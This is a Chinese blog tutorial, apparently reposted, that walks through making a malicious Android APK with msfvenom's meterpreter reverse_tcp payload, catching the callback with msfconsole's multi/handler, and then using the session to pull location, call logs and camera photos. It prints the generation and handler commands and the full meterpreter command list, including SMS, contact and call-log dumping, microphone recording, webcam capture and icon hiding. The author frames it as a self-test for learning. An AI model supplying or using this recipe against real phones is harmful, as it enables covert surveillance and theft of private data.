android平台入侵测试

在学习过程中,发现一篇入侵android文章,本着学习为主的态度,通过自己手机实际测试一下,入侵主要思路通过msfvenom生成恶意app,通过mesfconsole的handler 监听反向连接请求,并发送远程控制指令。

  1. 生成而已app

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.13 LPORT=4444 >myfast.apk
生成app时涉及到两个参数LHOSR即监听反向连接的服务器,一般为攻击者使用的专用设备,LPORT反向连接时使用的端口,即handler监听的本地端口。

android平台入侵测试_第1张图片
生成app

app生成后在android平台安装该应用。

  1. 启动msfconsole
    启动成功后通过search功能找到payload/android/shell/reverse_tcp 。
android平台入侵测试_第2张图片
msfconsole
  1. 启动handler监听
    切换到该模块。

use exploit/multi/handler
设置相应参数主要参数为LHOST、LPOER、payload,可以通过show options命令查看所有参数。

android平台入侵测试_第3张图片
查看参数

通过如下方式设置参数

sset payload android/meterpreter/reverse_tcp
set LHOST 192.168.0.13
set LPOER 4444

android平台入侵测试_第4张图片
配置完成

通过exploit方式启动监听。
启动后等待程序连入如图:

等待连入状态

当app在手机端运行时可直接与手机建立起链接如图:

android平台入侵测试_第5张图片
连接以建立

输入help可获取使用说明。

meterpreter > help\r

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    sessions                  Quickly switch to another session
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session.
    transport                 Change the current transport mechanism
    use                       Deprecated alias for 'load'
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    execute       Execute a command
    getuid        Get the user that the server is running as
    localtime     Displays the target system's local date and time
    pgrep         Filter processes by name
    ps            List running processes
    shell         Drop into a system command shell
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command       Description
    -------       -----------
    screenshot    Grab a screenshot of the interactive desktop


Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Android Commands
================

    Command           Description
    -------           -----------
    activity_start    Start an Android activity from a Uri string
    check_root        Check if device is rooted
    dump_calllog      Get call log
    dump_contacts     Get contacts list
    dump_sms          Get sms messages
    geolocate         Get current lat-long using geolocation
    hide_app_icon     Hide the app icon from the launcher
    interval_collect  Manage interval collection capabilities
    send_sms          Sends SMS from target session
    set_audio_mode    Set Ringer Mode
    sqlite_query      Query a SQLite database from storage
    wakelock          Enable/Disable Wakelock
    wlan_geolocate    Get current lat-long using WLAN information

这里简单使用几个相应功能
获取位置信息

位置

获取通话记录

android平台入侵测试_第6张图片
通话记录

主动拍照

android平台入侵测试_第7张图片
拍照

录像

android平台入侵测试_第8张图片
录像

其他详细用法请参见帮助。

你可能感兴趣的:(android平台入侵测试)